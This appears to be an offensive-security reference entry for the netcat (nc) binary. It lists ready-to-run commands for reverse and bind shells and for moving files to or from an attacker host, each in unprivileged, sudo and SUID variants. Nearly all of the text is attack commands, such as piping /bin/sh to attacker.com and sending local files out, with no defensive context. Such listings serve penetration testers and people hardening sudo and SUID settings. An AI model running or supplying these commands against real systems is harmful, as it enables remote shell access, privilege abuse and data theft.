nc
Reverse shell
This executable can send back a reverse system shell to a listening attacker.
- This function can be performed by any unprivileged user.
nc -e /bin/sh attacker.com 12345This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nc -e /bin/sh attacker.com 12345This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nc -e /bin/sh attacker.com 12345
Bind shell
This executable can bind a system shell to a local port waiting for an attacker to connect.
- This function can be performed by any unprivileged user.
nc -l -p 12345 -e /bin/shThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nc -l -p 12345 -e /bin/shThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nc -l -p 12345 -e /bin/sh
Upload
This executable can upload local data.
- This function can be performed by any unprivileged user.
nc -l -p 12345 </path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nc -l -p 12345 </path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nc -l -p 12345 </path/to/input-file - This function can be performed by any unprivileged user.
nc attacker.com 12345 </path/to/input-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nc attacker.com 12345 </path/to/input-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nc attacker.com 12345 </path/to/input-file
Download
This executable can download remote data.
- This function can be performed by any unprivileged user.
nc -l -p 12345 >/path/to/output-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nc -l -p 12345 >/path/to/output-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nc -l -p 12345 >/path/to/output-file - This function can be performed by any unprivileged user.
nc attacker.com 12345 >/path/to/output-fileThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.nc attacker.com 12345 >/path/to/output-fileThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.nc attacker.com 12345 >/path/to/output-file